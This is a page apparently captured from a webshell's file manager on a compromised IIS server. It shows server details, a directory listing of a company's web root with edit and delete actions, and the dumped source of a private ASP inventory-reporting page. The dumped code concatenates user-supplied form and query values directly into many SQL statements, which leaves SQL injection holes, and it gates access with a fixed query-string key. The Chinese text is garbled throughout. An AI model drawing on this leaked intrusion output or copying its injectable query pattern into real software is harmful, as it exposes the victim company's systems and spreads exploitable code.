Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%Response.Charset="gb2312"%>
<%Server.Scripttimeout = 5000%>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="robots" content="noindex,nofollow">
<script type="text/javascript" src="js/echarts.min.js" charset="utf-8"></script>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.12.2.js"></script>

<title>ASC���ʹ�˾</title>
<style>
table{
 border: solid 1px #000000;
 }
table tr td{
 border-Bottom: dotted 1px #000000;
 border-top: dotted 1px #000000;
 border-right: dotted 1px #000000;
 border-left-width:1px;
 border-left-color:#000000;
 }
 .box{
 border-left-width:3px;
 border-left-color:#FF0000;
 border-Bottom: dotted 1px #000000;
 border-top: dotted 1px #000000;
 border-right: dotted 1px #000000;
 }
</style>
</head>
<body style="text-align:center; margin:0 auto;">
<%
    flgRead = Request.Querystring("arg")
    if flgRead <> "Asc365NewSys" then response.end
    userno = Request.Querystring("arg2")

fromdate = "2021/01/01"
    todate = DateAdd("d",-1,date())

if request.Form("submit")="submit" then
        fromdate = request.Form("fromdate")
        todate = request.Form("todate")
        if datediff("d",fromdate,"2021-01-01") >-1 then fromdate = "2021-01-01"
        if datediff("d",todate,DateAdd("d",-1,date())) <0 then todate = DateAdd("d",-1,date())
        todate = year(todate) & "-" & right("0" & month(todate),2) & "-" & right("0" & day(todate),2)
        prd= request.Form("prd")
        prd = trim(prd)
    end if    
%>
    <form method="post" action="" align="center" name="prdmsg">

<%
    if len(trim(prd)) <> 6 then response.end
    users = "admin,012,022,036,434,440,181"
    if Instr(users,userno) <=0 then 
        prdchk = ""
        sqlchk = "select PRDCODE from BU_PRDCGWW where PRDCODE = '" & prd & "' and cgwwlast in (select PARMVALUE from OM_COMMPARM where fldname = 'CGWW' and remark like '%" & userno &"%')"
        set rschk = server.CreateObject("adodb.recordset")
        rschk.open sqlchk,conn,1,1
        do while not rschk.eof
            prdchk = rschk(0)
            rschk.movenext
        loop
        rschk.close
        set rschk = nothing
        if prdchk = "" then
            response.write "���޲�ѯ�Լ��������²�Ʒ��"
            response.end
        end if
    elseif users = "181" then
        prdchk = ""
        sqlchk = "select prdcode from BU_PRDPRD where PRDCODE = '" & prd & "' and right(orgcode,2) in (select PARMVALUE from OM_COMMPARM where FLDNAME = 'planorg' and DISPVALUE = 'ͨ�ع�˾')"
        set rschk = server.CreateObject("adodb.recordset")
        rschk.open sqlchk,conn,1,1
        do while not rschk.eof
            prdchk = rschk(0)
            rschk.movenext
        loop
        rschk.close
        set rschk = nothing
        if prdchk = "" then
            response.write "���޲�ѯ�Լ��������²�Ʒ��"
            response.end
        end if
    end if
    tt = ""
    sqlprd = "select prdcode,prdname from bu_prdprd where prdcode = '" & prd & "'"
    set rsprd = server.CreateObject("adodb.recordset")
    rsprd.open sqlprd,conn,1,1
    tt = rsprd(0) & ":" & rsprd(1) 
    rsprd.close
    set rsprd = nothing

'sql = " select opdt ,(case when cntneedusa <0 then 0 else cntneedusa end) as cntneedusa ,(case when cntneedca <0 then 0 else cntneedca end) as cntneedca ,(case when cntneedusafba <0 then 0 else cntneedusafba end) as cntneedusafba ,(case when cntneedcafba <0 then 0 else cntneedcafba end) as cntneedcafba from AA_STOREWARNINGRIJIE where prdcode = '" & prd & "' and opdt between '" & fromdate & "' and '" & todate & "' order by opdt"
    userno = trim(userno)
    if userno = "admin" or userno = "012" or userno = "022" or userno = "036" or userno = "434" or userno = "440" then
    sql = ""
    end if
    sql = " select opdt , cntneedusa ,cntneedca ,cntneedusafba ,cntneedcafba from AA_STOREWARNINGRIJIE where prdcode = '" & prd & "' and opdt between '" & fromdate & "' and '" & todate & "' order by opdt"
    datedt = "["
    dtzong = "["
    dtusa =  "["
    dtca =   "["
    dtusafba = "["
    dtcafba  = "["

'ȥ������
    sold_ca = "["
    sold_usd = "["
    sold_cafba = "["
    sold_usdfba = "["

'ȥ����
    usazppre = "["
    usazpkypre = "["
    usazpzypre = "["
    usazpztpre = "["
    cazppre = "["
    cazpkypre = "["
    cazpzypre = "["
    cazpztpre = "["
    usafbazppre = "["
    usafbazpkypre = "["
    usafbazpzypre = "["
    usafbazpztpre = "["
    cafbazppre = "["
    cafbazpkypre = "["
    cafbazpzypre = "["
    cafbazpztpre = "["

set rs = server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    do while not rs.eof
        datedt = datedt & "'" & rs(0) & "',"
        dtusa = dtusa & rs(1) & ","
        dtca = dtca & rs(2) & ","
        dtusafba = dtusafba & rs(3) & ","
        dtcafba = dtcafba & rs(4) & ","

sold_ca = sold_ca & "'',"
        sold_usd = sold_usd & "'',"
        sold_cafba = sold_cafba & "'',"
        sold_usdfba = sold_usdfba & "'',"

usazppre=usazppre & "'',"
        usazpkypre=usazpkypre & "'',"
        usazpzypre=usazpzypre & "'',"
        usazpztpre=usazpztpre & "'',"
        cazppre=cazppre & "'',"
        cazpkypre=cazpkypre & "'',"
        cazpzypre=cazpzypre & "'',"
        cazpztpre=cazpztpre & "'',"
        usafbazppre=usafbazppre & "'',"
        usafbazpkypre=usafbazpkypre & "'',"
        usafbazpzypre=usafbazpzypre & "'',"
        usafbazpztpre=usafbazpztpre & "'',"
        cafbazppre=cafbazppre & "'',"
        cafbazpkypre=cafbazpkypre & "'',"
        cafbazpzypre=cafbazpzypre & "'',"
        cafbazpztpre=cafbazpztpre & "'',"

rs.movenext
    loop
    dtusa = left(dtusa,len(dtusa) -1) & "]"
    dtca = left(dtca,len(dtca) -1) & "]"
    dtusafba = left(dtusafba,len(dtusafba) -1) & "]"
    dtcafba = left(dtcafba,len(dtcafba) -1) & "]"
    rs.close
    set rs = nothing

'��ȡ��Ʒ�ɹ���Ϣ
    curpurtyp = ""
    sql = "select dbo.GetPurtypString('���ô�','fba') as curpurtyp"
    set rs = server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    curpurtyp = rs(0)
    rs.close
    set rs = nothing

dtcgfbaca = "["
    sql = "select dt,coalesce(b.amt,0) as amt from (select cast(dateadd(D,number,'" & fromdate & "') as date) as dt from master.dbo.spt_values  where type ='P' and number <=DATEDIFF(DAY, '" & fromdate & "', '" & todate & "')) a left join (select dttijiao,sum(PURQTY ) as amt from (select cast(a.DTTiJiao as date) as dttijiao,b.PURQTY  from BU_PURORDER a,BU_PURORDERLIST b where a.PURORDERNO = b.PURORDERNO and cast(DTTiJiao as date) between '" & fromdate & "' and '" & todate & "' and b.PRDCODE10  = '" & prd & "' and a.STATUS >0 and a.STATUS <> 11 and PURTYP in " & curpurtyp & ") s group by dttijiao ) b on a.dt = b.dttijiao order by dt" 'FBA���ô�
    set rs = server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    do while not rs.eof
        dtcgfbaca = dtcgfbaca & rs(1) & ","
        rs.movenext
    loop
    dtcgfbaca = left(dtcgfbaca,len(dtcgfbaca) -1) & "]"
    rs.close
    set rs = nothing

curpurtyp = ""
    sql = "select dbo.GetPurtypString('����','fba') as curpurtyp"
    set rs = server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    curpurtyp = rs(0)
    rs.close
    set rs = nothing

dtcgfbausa = "["
    sql = "select dt,coalesce(b.amt,0) as amt from (select cast(dateadd(D,number,'" & fromdate & "') as date) as dt from master.dbo.spt_values  where type ='P' and number <=DATEDIFF(DAY, '" & fromdate & "', '" & todate & "')) a left join (select dttijiao,sum(PURQTY ) as amt from (select cast(a.DTTiJiao as date) as dttijiao,b.PURQTY  from BU_PURORDER a,BU_PURORDERLIST b where a.PURORDERNO = b.PURORDERNO and cast(DTTiJiao as date) between '" & fromdate & "' and '" & todate & "' and b.PRDCODE10  = '" & prd & "' and a.STATUS >0 and a.STATUS <> 11 and PURTYP in " & curpurtyp & ") s group by dttijiao ) b on a.dt = b.dttijiao order by dt" 'FBA����
    set rs = server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    do while not rs.eof
        dtcgfbausa = dtcgfbausa & rs(1) & ","
        rs.movenext
    loop
    dtcgfbausa = left(dtcgfbausa,len(dtcgfbausa) -1) & "]"
    rs.close
    set rs = nothing

curpurtyp = ""
    sql = "select dbo.GetPurtypString('���ô�','') as curpurtyp"
    set rs = server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    curpurtyp = rs(0)
    rs.close
    set rs = nothing
    dtcgca = "["
    sql = "select dt,coalesce(b.amt,0) as amt from (select cast(dateadd(D,number,'" & fromdate & "') as date) as dt from master.dbo.spt_values  where type ='P' and number <=DATEDIFF(DAY, '" & fromdate & "', '" & todate & "')) a left join (select dttijiao,sum(PURQTY ) as amt from (select cast(a.DTTiJiao as date) as dttijiao,b.PURQTY  from BU_PURORDER a,BU_PURORDERLIST b where a.PURORDERNO = b.PURORDERNO and cast(DTTiJiao as date) between '" & fromdate & "' and '" & todate & "' and b.PRDCODE10  = '" & prd & "' and a.STATUS >0 and a.STATUS <> 11 and PURTYP in " & curpurtyp & ") s group by dttijiao ) b on a.dt = b.dttijiao order by dt" '���ô�
    set rs = server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    do while not rs.eof
        dtcgca = dtcgca & rs(1) & ","
        rs.movenext
    loop
    dtcgca = left(dtcgca,len(dtcgca) -1) & "]"
    rs.close
    set rs = nothing

curpurtyp = ""
    sql = "select dbo.GetPurtypString('����','') as curpurtyp"
    set rs = server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    curpurtyp = rs(0)
    rs.close
    set rs = nothing
    dtcgusa = "["
    sql = "select dt,coalesce(b.amt,0) as amt from (select cast(dateadd(D,number,'" & fromdate & "') as date) as dt from master.dbo.spt_values  where type ='P' and number <=DATEDIFF(DAY, '" & fromdate & "', '" & todate & "')) a left join (select dttijiao,sum(PURQTY ) as amt from (select cast(a.DTTiJiao as date) as dttijiao,b.PURQTY  from BU_PURORDER a,BU_PURORDERLIST b where a.PURORDERNO = b.PURORDERNO and cast(DTTiJiao as date) between '" & fromdate & "' and '" & todate & "' and b.PRDCODE10  = '" & prd & "' and a.STATUS >0 and a.STATUS <> 11 and PURTYP  in " & curpurtyp & ") s group by dttijiao ) b on a.dt = b.dttijiao order by dt" '����
    set rs = server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    do while not rs.eof
        dtcgusa = dtcgusa & rs(1) & ","
        rs.movenext
    loop
    dtcgusa = left(dtcgusa,len(dtcgusa) -1) & "]"
    rs.close
    set rs = nothing

sqlstore = "select (select '''' + storcode + ''',' from BA_STORDF where COUNTRY = '����' and STORTYP ='FBA�ֿ�' for xml path('')) as storstr"
    set rs = server.CreateObject("adodb.recordset")
    rs.open sqlstore,conn,1,1
    s2 = rs(0)
    rs.close
    set rs = nothing
    if len(s2) >0 then s2 = "(" & left(s2,len(s2) - 1) & ")"

sqlstore = "select (select '''' + storcode + ''',' from BA_STORDF where COUNTRY = '���ô�' and STORTYP in ('�������ֿ�','���вֿ�') for xml path('')) as storstr"
    set rs = server.CreateObject("adodb.recordset")
    rs.open sqlstore,conn,1,1
    s3 = rs(0)
    rs.close
    set rs = nothing
    if len(s3) >0 then s3 = "(" & left(s3,len(s3) - 1) & ")"

sqlstore = "select (select '''' + storcode + ''',' from BA_STORDF where COUNTRY = '���ô�' and STORTYP ='FBA�ֿ�' for xml path('')) as storstr"
    set rs = server.CreateObject("adodb.recordset")
    rs.open sqlstore,conn,1,1
    s4 = rs(0)
    rs.close
    set rs = nothing
    if len(s4) >0 then s4 = "(" & left(s4,len(s4) - 1) & ")"

sqlstore = "select (select '''' + storcode + ''',' from BA_STORDF where COUNTRY in ('���ô�','����') and STORTYP in('FBA�ֿ�','�������ֿ�','���вֿ�') for xml path('')) as storstr"
    set rs = server.CreateObject("adodb.recordset")
    rs.open sqlstore,conn,1,1
    s5 = rs(0)
    rs.close
    set rs = nothing
    if len(s5) >0 then s5 = "(" & left(s5,len(s5) - 1) & ")"

'sqlkc = "select OPDT,sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*usa),sum((��Ʒ����)*usa),sum((��Ʒռ��)*usa),sum((��Ʒ��;)*usa),sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*usafba),sum((��Ʒ����)*usafba),sum((��Ʒռ��)*usafba),sum((��Ʒ��;)*usafba),sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*ca),sum((��Ʒ����)*ca),sum((��Ʒռ��)*ca),sum((��Ʒ��;)*ca),sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*cafba),sum((��Ʒ����)*cafba),sum((��Ʒռ��)*cafba),sum((��Ʒ��;)*cafba) from(select opdt,��Ʒ����,��Ʒռ��,��Ʒ��;,storcode,(case when STORCODE in ('jjs','tpp','lsj','JSH','TP2','JS2','NYF') then 1 else 0 end) as usa,(case when STORCODE in ('F02','F03','F04','F06','F08','FBA') then 1 else 0 end) as usafba,(case when STORCODE = 'DLD' then 1 else 0 end) as ca,(case when STORCODE in ('F01','F07','F09') then 1 else 0 end) as cafba from VAA_STORERIJIEPREprd where OPDT between '" & fromdate & "' and '"&todate&"' and PRDCODE = '" & prd & "' ) ss group by OPDT"
    sqlkc = "select OPDT,sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*usa),sum((��Ʒ����)*usa),sum((��Ʒռ��)*usa),sum((��Ʒ��;)*usa),sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*usafba),sum((��Ʒ����)*usafba),sum((��Ʒռ��)*usafba),sum((��Ʒ��;)*usafba),sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*ca),sum((��Ʒ����)*ca),sum((��Ʒռ��)*ca),sum((��Ʒ��;)*ca),sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*cafba),sum((��Ʒ����)*cafba),sum((��Ʒռ��)*cafba),sum((��Ʒ��;)*cafba) from(select opdt,��Ʒ����,��Ʒռ��,��Ʒ��;,storcode,(case when STORCODE in " & s1 & " then 1 else 0 end) as usa,(case when STORCODE in " & s2 & " then 1 else 0 end) as usafba,(case when STORCODE in " & s3 & " then 1 else 0 end) as ca,(case when STORCODE in " & s4 & " then 1 else 0 end) as cafba from VAA_STORERIJIEPREprd where OPDT between '" & fromdate & "' and '"&todate&"' and PRDCODE = '" & prd & "' ) ss group by OPDT"
    usazp = "["
    usazpky = "["
    usazpzy = "["
    usazpzt = "["
    usafbazp = "["
    usafbazpky = "["
    usafbazpzy = "["
    usafbazpzt = "["
    cazp = "["
    cazpky = "["
    cazpzy = "["
    cazpzt = "["
    cafbazp = "["
    cafbazpky = "["
    cafbazpzy = "["
    cafbazpzt = "["
    set rs = server.CreateObject("adodb.recordset")
    rs.open sqlkc,conn,1,1
    do while not rs.eof
        diff = datediff("d",fromdate,rs(0))
        if diff >=0 then
            if diff > 0 and kczp = "[" then 
                for i = 0 to diff -1
                    usazp   = usazp   & "0,"
                    usazpky = usazpky & "0,"
                    usazpzy = usazpzy & "0,"
                    usazpzt = usazpzt & "0,"
                    usafbazp   = usafbazp   & "0,"
                    usafbazpky = usafbazpky & "0,"
                    usafbazpzy = usafbazpzy & "0,"
                    usafbazpzt = usafbazpzt & "0,"
                    cazp   = cazp   & "0,"
                    cazpky = cazpky & "0,"
                    cazpzy = cazpzy & "0,"
                    cazpzt = cazpzt & "0,"
                    cafbazp   = cafbazp   & "0,"
                    cafbazpky = cafbazpky & "0,"
                    cafbazpzy = cafbazpzy & "0,"
                    cafbazpzt = cafbazpzt & "0,"
                next
            end if    
            usazp   = usazp   & rs(1) & ","
            usazpky = usazpky & rs(2) & ","
            usazpzy = usazpzy & rs(3) & ","
            usazpzt = usazpzt & rs(4) & ","
            usafbazp   = usafbazp   & rs(5) & ","
            usafbazpky = usafbazpky & rs(6) & ","
            usafbazpzy = usafbazpzy & rs(7) & ","
            usafbazpzt = usafbazpzt & rs(8) & ","
            cazp   = cazp   & rs(9 ) & ","
            cazpky = cazpky & rs(10) & ","
            cazpzy = cazpzy & rs(11) & ","
            cazpzt = cazpzt & rs(12) & ","
            cafbazp   = cafbazp   & rs(13) & ","
            cafbazpky = cafbazpky & rs(14) & ","
            cafbazpzy = cafbazpzy & rs(15) & ","
            cafbazpzt = cafbazpzt & rs(16) & ","
        end if
        rs.movenext
    loop
    if usazp = "[" then
        diff = datediff("d",fromdate,todate)
        if diff >=0 then
            if diff > 0 and usazp = "[" then 
                for i = 0 to diff -1
                    usazp   = usazp   & "0,"
                    usazpky = usazpky & "0,"
                    usazpzy = usazpzy & "0,"
                    usazpzt = usazpzt & "0,"
                    usafbazp   = usafbazp   & "0,"
                    usafbazpky = usafbazpky & "0,"
                    usafbazpzy = usafbazpzy & "0,"
                    usafbazpzt = usafbazpzt & "0,"
                    cazp   = cazp   & "0,"
                    cazpky = cazpky & "0,"
                    cazpzy = cazpzy & "0,"
                    cazpzt = cazpzt & "0,"
                    cafbazp   = cafbazp   & "0,"
                    cafbazpky = cafbazpky & "0,"
                    cafbazpzy = cafbazpzy & "0,"
                    cafbazpzt = cafbazpzt & "0,"
                next
            end if    
        end if
    end if
    usazp = left(usazp,len(usazp) -1) & "]"
    usazpky = left(usazpky,len(usazpky) -1) & "]"
    usazpzy = left(usazpzy,len(usazpzy) -1) & "]"
    usazpzt = left(usazpzt,len(usazpzt) -1) & "]"
    usafbazp = left(usafbazp,len(usafbazp) -1) & "]"
    usafbazpky = left(usafbazpky,len(usafbazpky) -1) & "]"
    usafbazpzy = left(usafbazpzy,len(usafbazpzy) -1) & "]"
    usafbazpzt = left(usafbazpzt,len(usafbazpzt) -1) & "]"
    cazp = left(cazp,len(cazp) -1) & "]"
    cazpky = left(cazpky,len(cazpky) -1) & "]"
    cazpzy = left(cazpzy,len(cazpzy) -1) & "]"
    cazpzt = left(cazpzt,len(cazpzt) -1) & "]"
    cafbazp = left(cafbazp,len(cafbazp) -1) & "]"
    cafbazpky = left(cafbazpky,len(cafbazpky) -1) & "]"
    cafbazpzy = left(cafbazpzy,len(cafbazpzy) -1) & "]"
    cafbazpzt = left(cafbazpzt,len(cafbazpzt) -1) & "]"
    rs.close
    set rs = nothing

'sqlsold = "select a.dt,coalesce(ca,0) as ca,coalesce(usd,0) as usd,coalesce(cafba,0) as cafba,coalesce(usdfba,0) as usdfba from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values  where type ='P' and number <120) a left join ( select createdate,sum(amt*usd) as usd,sum(amt*ca) as ca,sum(amt*usdfba) as usdfba,sum(amt*cafba) as cafba from ( SELECT  cast(createtime as date) as createdate,(case when dbcr = -1 then quantity else 0 end) as amt, (case when STORCODE in ('JJS','LSJ','TPP','JSH','TP2','JS2','NYF') then 1 else 0 end) as usd, (case when STORCODE= 'dld' then 1 else 0 end) as ca, (case when STORCODE in ( 'F02','F03','FBA','F04','F06' ) then 1 else 0 end) as usdfba, (case when STORCODE in ('F01','F07') then 1 else 0 end) as cafba FROM AA_INOUTPRD2 as a WITH(NOLOCK) where a.RECTYP = '31' and stortyp like '%1'  and STORCODE in ('DLD','JJS','LSJ','TPP','JSH','TP2','JS2','NYF','F01','F02','F03','FBA','F04','F06','F07') and createtime >= dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and createtime < dateadd(d,121,dateadd(yyyy,-1,'" & todate & "')) and PRDCODE10 = '" & prd & "') aa group by createdate) b on a.dt = b.createdate order by a.dt"
    sqlsold = "select a.dt,coalesce(ca,0) as ca,coalesce(usd,0) as usd,coalesce(cafba,0) as cafba,coalesce(usdfba,0) as usdfba from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values  where type ='P' and number <120) a left join ( select createdate,sum(amt*usd) as usd,sum(amt*ca) as ca,sum(amt*usdfba) as usdfba,sum(amt*cafba) as cafba from ( SELECT  cast(createtime as date) as createdate,(case when dbcr = -1 then quantity else 0 end) as amt, (case when STORCODE in " & s1 & " then 1 else 0 end) as usd, (case when STORCODE in " & s3 & " then 1 else 0 end) as ca, (case when STORCODE in " & s2 & " then 1 else 0 end) as usdfba, (case when STORCODE in " & s4 & " then 1 else 0 end) as cafba FROM AA_INOUTPRD2 as a WITH(NOLOCK) where a.RECTYP = '31' and stortyp like '%1'  and STORCODE in " & s5 & " and createtime >= dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and createtime < dateadd(d,121,dateadd(yyyy,-1,'" & todate & "')) and PRDCODE10 = '" & prd & "') aa group by createdate) b on a.dt = b.createdate order by a.dt"
    set rs = server.CreateObject("adodb.recordset")
    rs.open sqlsold,conn,1,1
    do while not rs.eof
        datedt = datedt & "'" & rs(0) & "',"
        sold_ca = sold_ca & rs(1) & ","
        sold_usd = sold_usd & rs(2) & ","
        sold_cafba = sold_cafba & rs(3) & ","
        sold_usdfba = sold_usdfba & rs(4) & ","
        rs.movenext
    loop
    datedt = left(datedt,len(datedt) -1) & "]"
    sold_ca = left(sold_ca,len(sold_ca) -1) & "]"
    sold_usd = left(sold_usd,len(sold_usd) -1) & "]"
    sold_cafba = left(sold_cafba,len(sold_cafba) -1) & "]"
    sold_usdfba = left(sold_usdfba,len(sold_usdfba) -1) & "]"
    rs.close
    set rs = nothing

'sqlkcpre = "select OPDT,sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*usa),sum((��Ʒ����)*usa),sum((��Ʒռ��)*usa),sum((��Ʒ��;)*usa),sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*usafba),sum((��Ʒ����)*usafba),sum((��Ʒռ��)*usafba),sum((��Ʒ��;)*usafba),sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*ca),sum((��Ʒ����)*ca),sum((��Ʒռ��)*ca),sum((��Ʒ��;)*ca),sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*cafba),sum((��Ʒ����)*cafba),sum((��Ʒռ��)*cafba),sum((��Ʒ��;)*cafba) from(select opdt,��Ʒ����,��Ʒռ��,��Ʒ��;,storcode,(case when STORCODE in ('jjs','tpp','lsj','JSH','TP2','JS2','NYF') then 1 else 0 end) as usa,(case when STORCODE in ('F02','F03','F04','F06','FBA') then 1 else 0 end) as usafba,(case when STORCODE = 'DLD' then 1 else 0 end) as ca,(case when STORCODE in ('F01','F07') then 1 else 0 end) as cafba from VAA_STORERIJIEPREALL where OPDT between  dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,60,dateadd(yyyy,-1,'" & todate & "')) and PRDCODE = '" & prd & "' ) ss group by OPDT"
    sqlkcpre = "select a.dt,coalesce(usazp,0) as usazp,coalesce(usazpky,0) as usazpky,coalesce(usazpzy,0) as usazpzy,coalesce(usazpzt,0) as usazpzt,coalesce(cazp,0) as cazp,coalesce(cazpky,0) as cazpky,coalesce(cazpzy,0) as cazpzy,coalesce(cazpzt,0) as cazpzt,coalesce(usafbazp,0) as usafbazp,coalesce(usafbazpky,0) as usafbazpky,coalesce(usafbazpzy,0) as usafbazpzy,coalesce(usafbazpzt,0) as usafbazpzt,coalesce(cafbazp,0) as cafbazp,coalesce(cafbazpky,0) as cafbazpky,coalesce(cafbazpzy,0) as cafbazpzy,coalesce(cafbazpzt,0) as cafbazpzt from (select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values  where type ='P' and number <120) a left join (select OPDT,sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*usa) as usazp,sum((��Ʒ����)*usa) as usazpky,sum((��Ʒռ��)*usa) as usazpzy,sum((��Ʒ��;)*usa) as usazpzt,sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*usafba) as usafbazp,sum((��Ʒ����)*usafba) as usafbazpky,sum((��Ʒռ��)*usafba) as usafbazpzy,sum((��Ʒ��;)*usafba) as usafbazpzt,sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*ca) as cazp,sum((��Ʒ����)*ca) as cazpky,sum((��Ʒռ��)*ca) as cazpzy,sum((��Ʒ��;)*ca) as cazpzt,sum((��Ʒ����+��Ʒռ��+��Ʒ��;)*cafba) as cafbazp,sum((��Ʒ����)*cafba) as cafbazpky,sum((��Ʒռ��)*cafba) as cafbazpzy,sum((��Ʒ��;)*cafba) as cafbazpzt from(select opdt,��Ʒ����,��Ʒռ��,��Ʒ��;,storcode,(case when STORCODE in " & s1 & " then 1 else 0 end) as usa,(case when STORCODE in " & s2 & " then 1 else 0 end) as usafba,(case when STORCODE in " & s3 & " then 1 else 0 end) as ca,(case when STORCODE in " & s4 & " then 1 else 0 end) as cafba from VAA_STORERIJIEPREPRD where OPDT between  dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and PRDCODE = '" & prd & "' ) ss group by OPDT) b on a.dt = b.OPDT order by a.dt"
    set rs = server.CreateObject("adodb.recordset")
    rs.open sqlkcpre,conn,1,1
    do while not rs.eof
        usazppre=usazppre & rs(1) & ","
        usazpkypre=usazpkypre & rs(2) & ","
        usazpzypre=usazpzypre & rs(3) & ","
        usazpztpre=usazpztpre & rs(4) & ","
        cazppre=cazppre & rs(5) & ","
        cazpkypre=cazpkypre & rs(6) & ","
        cazpzypre=cazpzypre & rs(7) & ","
        cazpztpre=cazpztpre & rs(8) & ","
        usafbazppre=usafbazppre & rs(9) & ","
        usafbazpkypre=usafbazpkypre & rs(10) & ","
        usafbazpzypre=usafbazpzypre & rs(11) & ","
        usafbazpztpre=usafbazpztpre & rs(12) & ","
        cafbazppre=cafbazppre & rs(13) & ","
        cafbazpkypre=cafbazpkypre & rs(14) & ","
        cafbazpzypre=cafbazpzypre & rs(15) & ","
        cafbazpztpre=cafbazpztpre & rs(16) & ","

rs.movenext
    loop
    usazppre   = left(usazppre,len(usazppre)-1) & "]"
    usazpkypre = left(usazpkypre,len(usazpkypre)-1) & "]"
    usazpzypre = left(usazpzypre,len(usazpzypre)-1) & "]"
    usazpztpre = left(usazpztpre,len(usazpztpre)-1) & "]"
    cazppre    = left(cazppre,len(cazppre)-1) & "]"
    cazpkypre  = left(cazpkypre,len(cazpkypre)-1) & "]"
    cazpzypre  = left(cazpzypre,len(cazpzypre)-1) & "]"
    cazpztpre  = left(cazpztpre,len(cazpztpre)-1) & "]"
    usafbazppre   = left(usafbazppre,len(usafbazppre)-1) & "]"
    usafbazpkypre = left(usafbazpkypre,len(usafbazpkypre)-1) & "]"
    usafbazpzypre = left(usafbazpzypre,len(usafbazpzypre)-1) & "]"
    usafbazpztpre = left(usafbazpztpre,len(usafbazpztpre)-1) & "]"
    cafbazppre    = left(cafbazppre,len(cafbazppre)-1) & "]"
    cafbazpkypre  = left(cafbazpkypre,len(cafbazpkypre)-1) & "]"
    cafbazpzypre  = left(cafbazpzypre,len(cafbazpzypre)-1) & "]"
    cafbazpztpre  = left(cafbazpztpre,len(cafbazpztpre)-1) & "]"

rs.close
    set rs = nothing
    sqlsold = "select createdate,sum(amt*ca) as ca,sum(amt*usd) as usd,sum(amt*cafba) as cafba,sum(amt*usdfba) as usdfba from ( SELECT  cast(createtime as date) as createdate,(case when dbcr = -1 then quantity else 0 end) as amt, (case when STORCODE in " & s1 & " then 1 else 0 end) as usd, (case when STORCODE in " & s3 & " then 1 else 0 end) as ca, (case when STORCODE in " & s2 & " then 1 else 0 end) as usdfba, (case when STORCODE in " & s4 & " then 1 else 0 end) as cafba FROM AA_INOUTPRD2 as a WITH(NOLOCK) where a.RECTYP = '31' and stortyp like '%1' and STORCODE in " & s5 & " and PRDCODE10 = '" & prd & "') aa group by createdate order by createdate "
    set rs = server.CreateObject("adodb.recordset")
    rs.open sqlsold,conn,1,1
    ' [{date:"2020-03-01",val:33}, {date:"2020-03-15",val:315}]
    dtsold_ca = ""
    dtsold_usa = ""
    dtsold_cafba = ""
    dtsold_usafba = ""
    do while not rs.eof
        if round(rs(1),2) <> 0 then dtsold_ca = dtsold_ca & "'" & rs(0) & "':" & rs(1) & ","
        if round(rs(2),2) <> 0 then dtsold_usa = dtsold_usa & "'" & rs(0) & "':" & rs(2) & ","
        if round(rs(3),2) <> 0 then dtsold_cafba = dtsold_cafba & "'" & rs(0) & "':" & rs(3) & ","
        if round(rs(4),2) <> 0 then dtsold_usafba = dtsold_usafba & "'" & rs(0) & "':" & rs(4) & ","
        rs.movenext
    loop
    rs.close
    set rs = nothing
    if len(dtsold_ca) =0 then
        dtsold_ca = "{}"
    else
        dtsold_ca = "{" & left(dtsold_ca,len(dtsold_ca)-1) & "}"
    end if
    if len(dtsold_usa) =0 then
        dtsold_usa = "{}"
    else
        dtsold_usa = "{" & left(dtsold_usa,len(dtsold_usa)-1) & "}"
    end if
    if len(dtsold_cafba) =0 then
        dtsold_cafba = "{}"
    else
        dtsold_cafba = "{" & left(dtsold_cafba,len(dtsold_cafba)-1) & "}"
    end if
    if len(dtsold_usafba) =0 then
        dtsold_usafba = "{}"
    else
        dtsold_usafba = "{" & left(dtsold_usafba,len(dtsold_usafba)-1) & "}"
    end if

conn.close
    set conn = nothing
    tt = replace(tt,"'","\'")
    todatestr = "'" & todate & "'"
    %>
    <div id="container" style="text-align:center; height:93%" >Loading...</div>
    <div id="casold" style="text-align:center; height:80%" >Loading...</div>
